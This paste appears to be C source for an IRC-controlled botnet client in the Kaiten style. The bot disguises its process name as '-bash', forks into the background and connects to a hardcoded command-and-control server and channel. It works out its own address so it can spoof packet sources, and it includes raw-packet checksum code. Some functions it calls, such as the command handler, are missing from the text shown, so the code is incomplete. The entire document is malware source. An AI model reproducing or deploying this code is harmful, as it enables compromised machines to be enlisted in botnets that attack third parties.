rendered paste body#define FAKENAME "-bash"
#define CHAN "#kingskrown"
#define KEY "bleh"
int numservers=1;
char *servers[] = {
"irc.kingskrown.com",
(void*)0
};
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <strings.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <signal.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
int sock,changeservers=0;
char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
unsigned int *pids;
unsigned long spoofs=0, spoofsm=0, numpids=0;
int strwildmatch(const char* pattern, const char* string) {
switch(*pattern) {
case '\0': return *string;
case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
case '?': return !(*string && !strwildmatch(pattern+1, string+1));
default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
}
}
int Send(int sock, char *words, ...) {
static char textBuffer[1024];
va_list args;
va_start(args, words);
vsprintf(textBuffer, words, args);
va_end(args);
return write(sock,textBuffer,strlen(textBuffer));
}
char *makestring() {
char *tmp;
int len=(rand()%5)+4,i;
FILE *file;
tmp=(char*)malloc(len+1);
memset(tmp,0,len+1);
if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
else {
int a=((rand()*rand())%45402)+1;
char buf[1024];
for (i=0;i<a;i++) fgets(buf,1024,file);
memset(buf,0,1024);
fgets(buf,1024,file);
filter(buf);
memcpy(tmp,buf,len);
fclose(file);
}
return tmp;
}
u_short in_cksum(u_short *addr, int len) {
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer =0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
void _376(int sock, char *sender, char *str) {
Send(sock,"MODE %s -xi\n",nick);
Send(sock,"JOIN %s :%s\n",chan,key);
Send(sock,"WHO %s\n",nick);
}
void _PING(int sock, char *sender, char *str) {
Send(sock,"PONG %s\n",str);
}
void _352(int sock, char *sender, char *str) {
int i,d;
char *msg=str;
struct hostent *hostm;
unsigned long m;
for (i=0,d=0;d<5;d++) {
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
if (i == strlen(str)) return;
}
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
msg[i]=0;
if (!strcasecmp(msg,nick) && !spoofsm) {
msg=str;
for (i=0,d=0;d<3;d++) {
for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
if (i == strlen(str)) return;
}
for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
msg[i]=0;
if ((m = inet_addr(msg)) == -1) {
if ((hostm=gethostbyname(msg)) == NULL) {
Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
return;
}
memcpy((char*)&m, hostm->h_addr, hostm->h_length);
}
((char*)&spoofs)[3]=((char*)&m)[0];
((char*)&spoofs)[2]=((char*)&m)[1];
((char*)&spoofs)[1]=((char*)&m)[2];
((char*)&spoofs)[0]=0;
spoofsm=256;
}
}
void _433(int sock, char *sender, char *str) {
free(nick);
nick=makestring();
}
void _NICK(int sock, char *sender, char *str) {
int i;
for (i=0;i<strlen(sender) && sender[i] != '!';i++);
sender[i]=0;
if (!strcasecmp(sender,nick)) {
if (*str == ':') str++;
if (nick) free(nick);
nick=strdup(str);
}
}
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
{ "352", _352 },
{ "376", _376 },
{ "433", _433 },
{ "422", _376 },
{ "PRIVMSG", _PRIVMSG },
{ "PING", _PING },
{ "NICK", _NICK },
{ (char *)0, (void (*)(int,char *,char *))0 } };
void con() {
struct sockaddr_in srv;
unsigned long ipaddr,start;
int flag;
struct hostent *hp;
start:
sock=-1;
flag=1;
if (changeservers == 0) server=servers[rand()%numservers];
changeservers=0;
while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
if (inet_addr(server) == 0 || inet_addr(server) == -1) {
if ((hp = gethostbyname(server)) == NULL) {
server=NULL;
close(sock);
goto start;
}
bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
}
else srv.sin_addr.s_addr=inet_addr(server);
srv.sin_family = AF_INET;
srv.sin_port = htons(6667);
ioctl(sock,FIONBIO,&flag);
start=time(NULL);
while(time(NULL)-start < 10) {
errno=0;
if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
return;
}
if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
sleep(1);
}
server=NULL;
close(sock);
goto start;
}
int main(int argc, char **argv) {
int on,i;
char cwd[256],*str;
FILE *file;
if (fork()) exit(0);
srand((time(NULL) ^ getpid()) + getppid());
nick=makestring();
ident=makestring();
user=makestring();
chan=CHAN;
key=KEY;
server=NULL;
repeat:
con();
Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
while(1) {
unsigned long i;
fd_set n;
struct timeval tv;
FD_ZERO(&n);
FD_SET(sock,&n);
tv.tv_sec=60*20;
tv.tv_usec=0;
if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto repeat;
for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
unsigned int *newpids,on;
for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
pids[on-1]=0;
numpids--;
newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
for (on=0;on<numpids;on++) newpids[on]=pids[on];
free(pids);
pids=newpids;
}
if (FD_ISSET(sock,&n)) {
char buf[4096], *str;
int i;
if ((i=recv(sock,buf,4096,0)) <= 0) goto repeat;
buf[i]=0;
str=strtok(buf,"\n");
while(str && *str) {
char name[1024], sender[1024];
filter(str);
if (*str == ':') {
for (i=0;i<strlen(str) && str[i] != ' ';i++);
str[i]=0;
strcpy(sender,str+1);
strcpy(str,str+i+1);
}
else strcpy(sender,"*");
for (i=0;i<strlen(str) && str[i] != ' ';i++);
str[i]=0;
strcpy(name,str);
strcpy(str,str+i+1);
for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
if (!strcasecmp(name,"ERROR")) goto repeat;
str=strtok((char*)NULL,"\n");
}
}
}
return 0;
}